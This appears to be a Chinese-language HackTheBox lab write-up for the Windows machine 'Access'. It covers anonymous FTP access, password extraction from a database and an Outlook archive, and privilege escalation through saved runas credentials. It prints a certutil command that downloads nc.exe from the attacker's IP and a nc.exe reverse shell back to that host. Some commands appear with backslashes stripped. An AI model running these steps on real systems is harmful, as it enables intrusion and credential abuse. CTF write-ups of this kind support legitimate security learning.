HackTheBox-windows-Access

靶机地址：https://www.hackthebox.eu/home/machines/profile/156

靶机难度：初级（4.0/10）

靶机发布日期：2019年2月25日

靶机描述：

Access is an "easy" difficulty machine, that highlights how machines associated with the physical security of an environment may not themselves be secure. Also highlighted is how accessible FTP/file shares often lead to getting a foothold or lateral movement. It teaches techniques for identifying and exploiting saved credentials.

请注意：对于所有这些计算机，我是通过平台授权允许情况进行渗透的。我将使用Kali Linux作为解决该HTB的攻击者机器。这里使用的技术仅用于学习教育目的，如果列出的技术用于其他任何目标，我概不负责。

一、信息收集

可以看到靶机的IP是10.10.10.98....

Nmap发现可以匿名登录FTP，Telnet和运行IIS 7.5的Web服务器运行着，IIS 7.5知道是 Windows Server 2008 R2版本...

80页面可以看到视频监控的图片...没获得什么信息...

直接来到FTP匿名登录了..发现两个文件，下载分析...

backup.mdb是数据库文件...找下底层有没有账号密码...

apt-get install mdbtools 这里需要下载mdb工具对数据库进行查看...

由于最近HTB老是出问题，我这里就最简洁的方式查看到了密码...

输入密码即可...

7z e Access Control.zip -paccess4u@security

这是Microsoft Outlook电子邮件文件夹...

apt-get install pst-utilsreadpst 'Access Control.pst'

意思是创建了Access Control.mbox文件来读取内容...

首先看到的是这封电子邮件，其中包含名为的帐户的凭据security，密码：

4CcessC0ntr0ller...

登陆23端口...成功获得了user信息...

由于现在处于security用户下，无法进入管理员权限..在用户界面还存在Public用户，进去在桌面发现了lnk文件...

读取发现WindowsSystem32runas.exe以管理员身份运行着...

Password required设置为No，如果设置为Yes，将无法在runas不知道密码的情况下作为管理员进行使用...

这里的runas是允许我们以其他用户身份运行命令，并且该选项/savecred允许我们使用该命令无需输入密码...

这里直接上传nc.exe，利用runas /user:Administrator /savecred无密码登陆模式执行反向shell即可...

certutil -urlcache -split -f http://10.10.14.11/nc.exe nc.exeecho c:userssecuritync.exe -e cmd.exe 10.10.14.11 6666 > shell.batrunas /user:administrator /savecred c:userssecurityshell.bat

成功提权...获得了root信息...

方法2：

查看：

[Windows - Privilege Escalation](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md)

文章可以进行windows的命令查询..

可以看到windows方式提权很多，前辈已经介绍了这类的方法...开始把

使用cmdkey列出机器上存储的凭证...并且存在一个凭证...

runas /user:AccessAdministrator /savecred "cmd.exe /c type C:UsersAdministratorDesktoproot.txt > C:UserssecurityDesktopdayu.txt"

可以看到成功获得root信息...

由于我们已经成功得到root权限查看user.txt和root.txt，因此完成了靶机，希望你们喜欢这台机器，请继续关注大余后期会有更多具有挑战性的机器，一起练习学习。

如果你有其他的方法，欢迎留言。要是有写错了的地方，请你一定要告诉我。要是你觉得这篇博客写的还不错，欢迎分享给身边的人。

如果觉得这篇文章对你有帮助，可以转发到朋友圈，谢谢小伙伴~

随缘收徒中~~随缘收徒中~~随缘收徒中~~

欢迎加入渗透学习交流群，想入群的小伙伴们加我微信，共同进步共同成长！

大余安全

一个全栈渗透小技巧的公众号

本文始发于微信公众号（大余安全）：HackTheBox-windows-Access